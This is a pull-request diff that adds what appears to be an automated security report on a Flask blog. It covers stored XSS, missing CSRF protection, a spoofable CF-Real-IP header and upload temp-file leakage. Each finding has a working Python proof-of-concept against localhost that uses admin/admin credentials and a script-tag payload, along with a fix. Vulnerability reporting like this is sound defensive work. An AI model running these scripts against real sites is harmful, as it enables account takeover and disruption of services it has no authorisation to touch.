Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
186 changes: 186 additions & 0 deletions ai/security_report_2026-03-06_blog-eletrix-fr.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,186 @@
====

Auto Security Analysis of blog-eletrix-fr at 2026-03-06

CRITICAL - Stored Cross-Site Scripting (XSS)
The application allows users to create blog posts using Markdown. The content is rendered into HTML using the `markdown2` library and then displayed in the `post.html` template using the Jinja2 `|safe` filter. Because `markdown2` does not sanitize the input by default and the template explicitly trusts the output, an attacker can inject malicious `<script>` tags or other HTML attributes into a post. When a user views the post, the script executes in their browser context, potentially allowing session hijacking or other malicious actions.

PoC
```python
import urllib.request
import urllib.parse
import http.cookiejar

def test_xss():
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

# 1. Login (assuming default or known credentials for PoC)
login_data = urllib.parse.urlencode({'username': 'admin', 'password': 'admin'}).encode()
opener.open("http://127.0.0.1:5000/login", login_data)

# 2. Create malicious post
xss_payload = "<script>alert('XSS')</script>"
post_data = urllib.parse.urlencode({
'title': 'XSS_Test',
'author': 'attacker',
'tags': 'test',
'content': xss_payload
}).encode()
opener.open("http://127.0.0.1:5000/create_post", post_data)

# 3. Verify XSS
response = opener.open("http://127.0.0.1:5000/post/XSS_Test")
content = response.read().decode()
if xss_payload in content:
print("XSS Verified!")

if __name__ == "__main__":
test_xss()
```

Fix
Remove the `|safe` filter from `html/post.html` and use a sanitization library like `bleach` to clean the HTML generated by `markdown2` before passing it to the template. Alternatively, use the `safe_mode` or similar features if available in the markdown library, though `bleach` is generally preferred for robust sanitization.

====

MEDIUM - Missing CSRF Protection
The application lacks Cross-Site Request Forgery (CSRF) protection on its state-changing routes, including `/login`, `/create_post`, and `/upload`. This allows an attacker to perform actions on behalf of a logged-in user if they can trick the user into visiting a malicious website. For example, an attacker could force a logged-in admin to create a malicious blog post or upload a file.

PoC
```python
import urllib.request
import urllib.parse
import http.cookiejar

def test_csrf():
# Demonstration: No CSRF token is required to create a post if the session cookie is present.
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

# Admin logs in (simulating an active session)
login_data = urllib.parse.urlencode({'username': 'admin', 'password': 'admin'}).encode()
opener.open("http://127.0.0.1:5000/login", login_data)

# Attacker triggers a POST request from another context (simulated here)
# Since there is no CSRF token check, the request succeeds.
csrf_post_data = urllib.parse.urlencode({
'title': 'CSRF_Test',
'author': 'attacker',
'tags': 'csrf',
'content': 'pwned'
}).encode()

opener.open("http://127.0.0.1:5000/create_post", csrf_post_data)

# Verify creation
resp = opener.open("http://127.0.0.1:5000/post/CSRF_Test")
if resp.getcode() == 200:
print("CSRF Vulnerability Verified!")

if __name__ == "__main__":
test_csrf()
```

Fix
Implement CSRF protection using a library like `Flask-WTF` or `Flask-SeaSurf`. This typically involves adding a hidden CSRF token to all forms and verifying it on the server side for all non-safe HTTP methods (POST, PUT, DELETE, etc.).

====

LOW - Improper Trust of `CF-Real-IP` Header
The application uses the `CF-Real-IP` header to determine the user's IP address in the `inject_variables` context processor. This header is easily spoofed by an attacker if the application is not behind Cloudflare or if the proxy does not validate that the request is coming from Cloudflare's IP ranges. While currently not used in templates, if this IP were used for security decisions (like rate limiting or logging), it could be bypassed.

PoC
```python
import urllib.request

def test_ip_spoofing():
req = urllib.request.Request("http://127.0.0.1:5000/")
req.add_header('CF-Real-IP', '1.3.3.7')

# If the app were to log or display the IP, it would show 1.3.3.7
# instead of the actual source IP.
response = urllib.request.urlopen(req)
print("Spoofed IP header sent in request.")

if __name__ == "__main__":
test_ip_spoofing()
```

Fix
Do not trust `CF-Real-IP` or `X-Forwarded-For` headers unless the application is behind a trusted proxy that is configured to strip these headers from the client and set them correctly. Use `request.remote_addr` for the actual connection IP.

====

LOW - Denial of Service (DoS) and Temporary File Leakage
In `routes/upload.py`, the application saves an uploaded file to a temporary directory before processing it with `utils.add_watermark`. If `add_watermark` fails (e.g., if the uploaded file is not a valid image), an exception is raised and the `os.remove(temp_path)` call is never reached. This leads to a build-up of temporary files in the `./temp_uploads` directory, which can eventually exhaust disk space (DoS) and may also leak sensitive information if an attacker can predict the temporary filenames.

PoC
```python
import urllib.request
import urllib.parse
import http.cookiejar
import os

def test_dos_upload():
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

# 1. Login
login_data = urllib.parse.urlencode({'username': 'admin', 'password': 'admin'}).encode()
opener.open("http://127.0.0.1:5000/login", login_data)

# 2. Upload a non-image file
filename = "test_dos.txt"
with open(filename, "wb") as f:
f.write(b"Not an image" * 100)

boundary = '----WebKitFormBoundary7MA4YWxkTrZu0gW'
data = [('--' + boundary).encode(),
('Content-Disposition: form-data; name="file"; filename="%s"' % filename).encode(),
('Content-Type: text/plain').encode(),
b'']
with open(filename, 'rb') as f:
data.append(f.read())
data.append(('--' + boundary + '--').encode())
data.append(b'')
body = b'\r\n'.join(data)

req = urllib.request.Request("http://127.0.0.1:5000/upload/", data=body)
req.add_header('Content-Type', 'multipart/form-data; boundary=%s' % boundary)

try:
opener.open(req)
except:
pass # Expecting failure in add_watermark

# 3. Check if file still exists in temp_uploads
temp_file_path = os.path.join("./temp_uploads", filename)
if os.path.exists(temp_file_path):
print("Upload DoS/Leak Verified!")

if __name__ == "__main__":
test_dos_upload()
```

Fix
Use a `try...finally` block to ensure that the temporary file is deleted even if an error occurs during processing.

```python
try:
file.save(temp_path)
# ... processing ...
finally:
if os.path.exists(temp_path):
os.remove(temp_path)
```

====

Summary:
| Severity | Exploit Name |
|----------|--------------|
| CRITICAL | Stored Cross-Site Scripting (XSS) |
| MEDIUM | Missing CSRF Protection |
| LOW | Improper Trust of `CF-Real-IP` Header |
| LOW | Denial of Service (DoS) and Temporary File Leakage |